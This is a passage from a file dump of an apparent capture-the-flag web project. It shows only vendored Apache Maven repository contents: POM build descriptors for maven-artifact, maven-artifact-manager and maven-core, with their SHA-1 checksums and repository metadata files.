<groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact/2.0.6/maven-artifact-2.0.6.pom.sha1",
    "content": "973c14299a051daf4e767cc60f15788b50c887f2"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact/2.0.9/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:31 CST 2018\nmaven-artifact-2.0.9.pom>central=\nmaven-artifact-2.0.9.jar>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact/2.0.9/maven-artifact-2.0.9.jar.sha1",
    "content": "66f0c8baa789fffdf54924cf395b26bbc2130435"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact/2.0.9/maven-artifact-2.0.9.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>maven</artifactId>\n    <groupId>org.apache.maven</groupId>\n    <version>2.0.9</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <artifactId>maven-artifact</artifactId>\n  <name>Maven Artifact</name>\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact/2.0.9/maven-artifact-2.0.9.pom.sha1",
    "content": "ffc6bb3eabd75a28d704e0431e7a44e7b4dff9bd"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact/2.2.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:18 CST 2018\nmaven-artifact-2.2.1.jar>central=\nmaven-artifact-2.2.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact/2.2.1/maven-artifact-2.2.1.jar.sha1",
    "content": "23600f790d4dab2cb965419eaa982e3e84c428f8"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact/2.2.1/maven-artifact-2.2.1.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n--><project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven</groupId>\n    <artifactId>maven</artifactId>\n    <version>2.2.1</version>\n  </parent>\n\n  <artifactId>maven-artifact</artifactId>\n\n  <name>Maven Artifact</name>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact/2.2.1/maven-artifact-2.2.1.pom.sha1",
    "content": "e37430ef3c3ee1d33817fdb45a0e538f49932c0a"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact/3.0/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\nmaven-artifact-3.0.jar>central=\nmaven-artifact-3.0.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact/3.0/maven-artifact-3.0.jar.sha1",
    "content": "c29cfa43ce2ba09975a07c40d7241655d7c2fa29"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact/3.0/maven-artifact-3.0.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n  <!--\n    Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE\n    file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file\n    to you under the Apache License, Version 2.0 (the \"License\"); you may not use this file except in compliance with\n    the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by\n    applicable law or agreed to in writing, software distributed under the License is distributed on an \"AS IS\" BASIS,\n    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language\n    governing permissions and limitations under the License.\n  -->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven</groupId>\n    <artifactId>maven</artifactId>\n    <version>3.0</version>\n  </parent>\n\n  <artifactId>maven-artifact</artifactId>\n\n  <name>Maven Artifact</name>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-component-metadata</artifactId>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-compiler-plugin</artifactId>\n        <configuration>\n          <source>1.5</source>\n          <target>1.5</target>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact/3.0/maven-artifact-3.0.pom.sha1",
    "content": "6823c7ad1a5557c2f96bd2fd312948513af8e524"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact-manager/2.0.6/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:44 CST 2018\nmaven-artifact-manager-2.0.6.jar>central=\nmaven-artifact-manager-2.0.6.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact-manager/2.0.6/maven-artifact-manager-2.0.6.jar.sha1",
    "content": "dc326c3a989c10618e09a7b77cadeff297591942"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact-manager/2.0.6/maven-artifact-manager-2.0.6.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>maven</artifactId>\n    <groupId>org.apache.maven</groupId>\n    <version>2.0.6</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <artifactId>maven-artifact-manager</artifactId>\n  <name>Maven Artifact Manager</name>\n  <dependencies>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-repository-metadata</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.wagon</groupId>\n      <artifactId>wagon-file</artifactId>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-artifact</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.wagon</groupId>\n      <artifactId>wagon-provider-api</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>easymock</groupId>\n      <artifactId>easymock</artifactId>\n      <version>1.2_Java1.3</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n  <build>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <configuration>\n            <excludes>\n              <exclude>**/testutils/**</exclude>\n            </excludes>\n          </configuration>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n  </build>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact-manager/2.0.6/maven-artifact-manager-2.0.6.pom.sha1",
    "content": "8cb8b1dc4d9f7fbd90be4e9c8e9a1d353e28666c"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact-manager/2.0.9/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:32 CST 2018\nmaven-artifact-manager-2.0.9.pom>central=\nmaven-artifact-manager-2.0.9.jar>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact-manager/2.0.9/maven-artifact-manager-2.0.9.jar.sha1",
    "content": "53224a5254101fb9b6d561d5a53c6d0817036d94"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact-manager/2.0.9/maven-artifact-manager-2.0.9.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>maven</artifactId>\n    <groupId>org.apache.maven</groupId>\n    <version>2.0.9</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <artifactId>maven-artifact-manager</artifactId>\n  <name>Maven Artifact Manager</name>\n  <dependencies>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-repository-metadata</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.wagon</groupId>\n      <artifactId>wagon-file</artifactId>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-artifact</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.wagon</groupId>\n      <artifactId>wagon-provider-api</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>easymock</groupId>\n      <artifactId>easymock</artifactId>\n      <version>1.2_Java1.3</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n  <build>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <configuration>\n            <excludes>\n              <exclude>**/testutils/**</exclude>\n            </excludes>\n          </configuration>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n  </build>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact-manager/2.0.9/maven-artifact-manager-2.0.9.pom.sha1",
    "content": "84c14dcd1d85eebccbba665f95057b5748f51d83"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact-manager/2.2.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:19 CST 2018\nmaven-artifact-manager-2.2.1.jar>central=\nmaven-artifact-manager-2.2.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact-manager/2.2.1/maven-artifact-manager-2.2.1.jar.sha1",
    "content": "ec355b913c34d37080810f98e3f51abecbe1572b"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact-manager/2.2.1/maven-artifact-manager-2.2.1.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n--><project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven</groupId>\n    <artifactId>maven</artifactId>\n    <version>2.2.1</version>\n  </parent>\n\n  <artifactId>maven-artifact-manager</artifactId>\n\n  <name>Maven Artifact Manager</name>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-repository-metadata</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.wagon</groupId>\n      <artifactId>wagon-file</artifactId>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.wagon</groupId>\n      <artifactId>wagon-http</artifactId>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-artifact</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.wagon</groupId>\n      <artifactId>wagon-provider-api</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>backport-util-concurrent</groupId>\n      <artifactId>backport-util-concurrent</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>easymock</groupId>\n      <artifactId>easymock</artifactId>\n      <version>1.2_Java1.3</version>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>edu.umd.cs.mtc</groupId>\n      <artifactId>multithreadedtc-jdk14</artifactId>\n      <version>1.01</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <configuration>\n            <excludes>\n              <exclude>**/testutils/**</exclude>\n            </excludes>\n          </configuration>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n  </build>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact-manager/2.2.1/maven-artifact-manager-2.2.1.pom.sha1",
    "content": "062f05a1fc0a40a6ea8fc8f0a1e9e2c02057ebaf"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-core/2.0.6/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:44 CST 2018\nmaven-core-2.0.6.jar>central=\nmaven-core-2.0.6.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-core/2.0.6/maven-core-2.0.6.jar.sha1",
    "content": "33b78ed70029bfca9fadee5c8e7c9b27b9a39443"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-core/2.0.6/maven-core-2.0.6.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use t\nhis file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>maven</artifactId>\n    <groupId>org.apache.maven</groupId>\n    <version>2.0.6</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <artifactId>maven-core</artifactId>\n  <name>Maven Core</name>\n  <build>\n    <plugins>\n      <plugin>\n        <artifactId>maven-assembly-plugin</artifactId>\n        <configuration>\n          <descriptor>src/assemble/bin.xml</descriptor>\n          <finalName>maven-${version}</finalName>\n        </configuration>\n        <executions>\n          <execution>\n            <phase>install</phase>\n            <goals>\n              <goal>attached</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <artifactId>shade-maven-plugin</artifactId>\n        <groupId>org.codehaus.mojo</groupId>\n        <executions>\n          <execution>\n            <phase>package</phase>\n            <goals>\n              <goal>shade</goal>\n            </goals>\n            <configuration>\n              <artifactSet>\n                <excludes>\n                  <exclude>classworlds:classworlds</exclude>\n                  <exclude>junit:junit</exclude>\n                  <exclude>jmock:jmock</exclude>\n                  <exclude>xml-apis:xml-apis</exclude>\n                </excludes>\n              </artifactSet>\n              <relocations>\n                <relocation>\n                  <pattern>org.codehaus.plexus.util</pattern>\n                  <excludes>\n                    <exclude>org.codehaus.plexus.util.xml.Xpp3Dom</exclude>\n                    <exclude>org.codehaus.plexus.util.xml.pull.*</exclude>\n                  </excludes>\n                </relocation>\n              </relocations>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n  <dependencies>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-settings</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.wagon</groupId>\n      <artifactId>wagon-file</artifactId>\n      <scope>runtime</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-plugin-parameter-documenter</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.wagon</groupId>\n      <artifactId>wagon-http-lightweight</artifactId>\n      <scope>runtime</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.reporting</groupId>\n      <artifactId>maven-reporting-api</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-profile</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-model</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-artifact</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.wagon</groupId>\n      <artifactId>wagon-provider-api</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-repository-metadata</artifactId>\n      <version>2.0.6</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-error-diagnostics</artifactId>\n      <version>2.0.6</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-project</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>commons-cli</groupId>\n      <artifactId>commons-cli</artifactId>\n      <version>1.0</version>\n      <exclusions>\n        <exclusion>\n          <artifactId>commons-lang</artifactId>\n          <groupId>commons-lang</groupId>\n        </exclusion>\n        <exclusion>\n          <artifactId>commons-logging</artifactId>\n          <groupId>commons-logging</groupId>\n        </exclusion>\n      </exclusions>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-plugin-api</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.wagon</groupId>\n      <artifactId>wagon-ssh-external</artifactId>\n      <scope>runtime</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-plugin-descriptor</artifactId>\n      <version>2.0.6</version>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-interactivity-api</artifactId>\n      <version>1.0-alpha-4</version>\n      <exclusions>\n        <exclusion>\n          <artifactId>plexus-utils</artifactId>\n          <groupId>plexus</groupId>\n        </exclusion>\n        <exclusion>\n          <artifactId>plexus-container-default</artifactId>\n          <groupId>org.codehaus.plexus</groupId>\n        </exclusion>\n      </exclusions>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-artifact-manager</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-monitor</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.wagon</groupId>\n      <artifactId>wagon-ssh</artifactId>\n      <scope>runtime</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>classworlds</groupId>\n      <artifactId>classworlds</artifactId>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-core/2.0.6/maven-core-2.0.6.pom.sha1",
    "content": "b02365ee1822cff5839d9f85bc9b1cbfab9f5674"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-core/2.0.9/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:32 CST 2018\nmaven-core-2.0.9.jar>central=\nmaven-core-2.0.9.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-core/2.0.9/maven-core-2.0.9.jar.sha1",
    "content": "e1003a0a66dae77515259c5e591ea1cfd73c2859"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-core/2.0.9/maven-core-2.0.9.pom",
    "content": "<?xml version='1.0' encoding='UTF-8'?>\n<!--\n  Licensed to the Apache Software Foundation (ASF) under one\n  or more contributor license agreements.  See the NOTICE file\n  distributed with this work for additional information\n  regarding copyright ownership.  The ASF licenses this file\n  to you under the Apache License, Version 2.0 (the\n  \"License\"); you may not use this file except in compliance\n  with the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\n  Unless required by applicable law or agreed to in writing,\n  software distributed under the License is distributed on an\n  \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n  KIND, either express or implied.  See the License for the\n  specific language governing permissions and limitations\n  under the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n  <parent>\n    <artifactId>maven</artifactId>\n    <groupId>org.apache.maven</groupId>\n    <version>2.0.9</version>\n  </parent>\n\n  <artifactId>maven-core</artifactId>\n  <name>Maven Core</name>\n\n  <pluginRepositories>\n    <pluginRepository>\n      <id>apache.snapshots</id>\n      <url>http://people.apache.org/repo/m2-snapshot-repository</url>\n    </pluginRepository>\n  </pluginRepositories>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-settings</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.wagon</groupId>\n      <artifactId>wagon-file</artifactId>\n      <scope>runtime</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-plugin-parameter-documenter</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.wagon</groupId>\n      <artifactId>wagon-webdav</artifactId>\n      <scope>runtime</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.wagon</groupId>\n      <artifactId>wagon-http-lightweight</artifactId>\n      <scope>runtime</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.reporting</groupId>\n      <artifactId>maven-reporting-api</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-profile</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-model</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-artifact</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.wagon</groupId>\n      <artifactId>wagon-provider-api</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-repository-metadata</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-error-diagnostics</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-project</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>commons-cli</groupId>\n      <artifactId>commons-cli</artifactId>\n      <version>1.0</version>\n      <exclusions>\n        <exclusion>\n          <artifactId>commons-lang</artifactId>\n          <groupId>commons-lang</groupId>\n        </exclusion>\n        <exclusion>\n          <artifactId>commons-logging</artifactId>\n          <groupId>commons-logging</groupId>\n        </exclusion>\n      </exclusions>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-plugin-api</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.wagon</groupId>\n      <artifactId>wagon-ssh-external</artifactId>\n      <scope>runtime</scope>\n    </dependency>\n    <dependency>\n      